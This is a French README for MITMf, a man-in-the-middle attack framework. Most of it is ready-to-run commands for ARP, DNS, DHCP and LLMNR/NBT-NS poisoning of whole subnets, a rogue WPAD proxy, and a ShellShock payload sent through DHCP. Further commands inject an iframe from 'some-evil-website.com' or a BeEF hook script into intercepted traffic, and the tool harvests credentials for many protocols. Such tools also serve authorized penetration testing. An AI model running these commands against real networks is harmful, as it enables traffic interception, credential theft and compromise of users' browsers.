Framework pour les attaques de l'homme du milieu
Framework pour les attaques Man-In-The-Middle
Ce projet n'est plus mis à jour. MITMf a été écrit pour répondre au besoin, à l'époque, d'un outil moderne pour effectuer des attaques Man-In-The-Middle. Depuis, de nombreux autres outils ont été créés pour combler ce créneau, vous devriez probablement utiliser Bettercap car il est bien plus complet et mieux maintenu.
Tutoriels rapides, exemples et mises à jour pour développeurs sur : https://byt3bl33d3r.github.io
Cet outil est basé sur sergio-proxy et tente de relancer et mettre à jour le projet.
Contactez-moi à :
Avant de soumettre des problèmes, veuillez lire la appropriée dans le wiki.
Veuillez vous référer au wiki pour les instructions d'installation
MITMf vise à fournir une solution tout-en-un pour les attaques Man-In-The-Middle et réseau, tout en mettant à jour et en améliorant les attaques et techniques existantes.
Initialement conçu pour pallier les lacunes importantes d'autres outils (par exemple Ettercap, Mallory), il a été presque entièrement réécrit à partir de zéro pour fournir un framework modulaire et facilement extensible que tout le monde peut utiliser pour implémenter sa propre attaque MITM.
Le framework contient un serveur SMB, HTTP et DNS intégré qui peut être contrôlé et utilisé par les différents plugins. Il contient également une version modifiée du proxy SSLStrip qui permet la modification HTTP et un contournement partiel de HSTS.
Depuis la version 0.9.8, MITMf supporte le filtrage et la manipulation actifs de paquets (essentiellement ce que faisaient les etterfilters, mais en mieux), permettant aux utilisateurs de modifier tout type de trafic ou protocole.
Le fichier de configuration peut être modifié à la volée pendant que MITMf est en cours d'exécution ; les changements sont propagés dans le framework : cela permet d'ajuster les paramètres des plugins et des serveurs pendant une attaque.
MITMf capture les identifiants FTP, IRC, POP, IMAP, Telnet, SMTP, SNMP (chaînes de communauté), NTLMv1/v2 (tous les protocoles supportés comme HTTP, SMB, LDAP, etc.) et Kerberos en utilisant Net-Creds, qui est lancé au démarrage.
L'intégration de Responder permet l'empoisonnement LLMNR, NBT-NS et MDNS ainsi que le support d'un serveur WPAD rogue.
Vous pouvez désormais modifier n'importe quel paquet/protocole intercepté par MITMf en utilisant Scapy ! (fini les etterfilters ! ouf !)
Par exemple, voici un petit filtre stupide qui change simplement l'adresse IP de destination des paquets ICMP :
if packet.haslayer(ICMP):
log.info('Got an ICMP packet!')
packet.dst = '192.168.1.0'
packet pour accéder au paquet dans un format compatible Scapydata pour accéder aux données brutes du paquetPour utiliser le filtre, il suffit de faire : python mitmf.py -F ~/filter.py
Vous voudrez probablement combiner cela avec le plugin Spoof pour intercepter réellement les paquets de quelqu'un d'autre ;)
Remarque : vous pouvez modifier les filtres à la volée sans redémarrer MITMf !
L'utilisation la plus basique, lance le proxy HTTP, les serveurs SMB, DNS, HTTP et Net-Creds sur l'interface enp3s0 :
python mitmf.py -i enp3s0
Empoisonner ARP tout le sous-réseau avec la passerelle à 192.168.1.1 en utilisant le plugin Spoof :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1
Idem + un serveur proxy rogue WPAD en utilisant le plugin Responder :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --responder --wpad
Empoisonner ARP 192.168.1.16-45 et 192.168.0.1/24 avec la passerelle à 192.168.1.1 :
python mitmf.py -i enp3s0 --spoof --arp --target 192.168.2.16-45,192.168.0.1/24 --gateway 192.168.1.1
Activer l'empoisonnement DNS tout en empoisonnant ARP (les domaines à usurper sont tirés du fichier de configuration) :
python mitmf.py -i enp3s0 --spoof --dns --arp --target 192.168.1.0/24 --gateway 192.168.1.1
Activer l'empoisonnement LLMNR/NBTNS/MDNS :
python mitmf.py -i enp3s0 --responder --wredir --nbtns
Activer l'empoisonnement DHCP (le pool d'IP et le sous-réseau sont tirés du fichier de configuration) :
python mitmf.py -i enp3s0 --spoof --dhcp
Idem avec une charge utile ShellShock qui sera exécutée si un client est vulnérable :
python mitmf.py -i enp3s0 --spoof --dhcp --shellshock 'echo 0wn3d'
Injecter un IFrame HTML en utilisant le plugin Inject :
python mitmf.py -i enp3s0 --inject --html-url http://some-evil-website.com
Injecter un script JS :
python mitmf.py -i enp3s0 --inject --js-url http://beef:3000/hook.js
Démarrer un portail captif qui redirige tout vers http://SERVER/PATH :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portalurl http://SERVER/PATH
Démarrer un portail captif sur http://votre-ip/portal.html en utilisant la page par défaut /portal.html (merci responder) et /CaptiveClient.exe (non inclus) depuis le dossier config/captive :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive
Idem mais avec le nom d'hôte captive.portal au lieu de l'IP (nécessite que captive.portal résolve vers votre IP, par exemple via l'empoisonnement DNS) :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --use-dns
Servir un portail captif avec une instance supplémentaire SimpleHTTPServant le dossier LOCALDIR sur http://IP:8080 (changer le port dans mitmf.config) :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --captive --portaldir LOCALDIR
Idem mais avec un nom d'hôte :
python mitmf.py -i enp3s0 --spoof --arp --gateway 192.168.1.1 --dns --captive --portaldir LOCALDIR --use-dns
Et bien plus encore !
Bien sûr, vous pouvez mélanger et associer presque tous les plugins (par exemple, ARP spoof + inject + Responder, etc.)
Pour une liste complète des options disponibles, exécutez simplement python mitmf.py --help
BTC: 1ER8rRE6NTZ7RHN88zc6JY87LvtyuRUJGU
ETH: 0x91d9aDCf8B91f55BCBF0841616A01BeE551E90ee
LTC: LLMa2bsvXbgBGnnBwiXYazsj7Uz6zRe4fr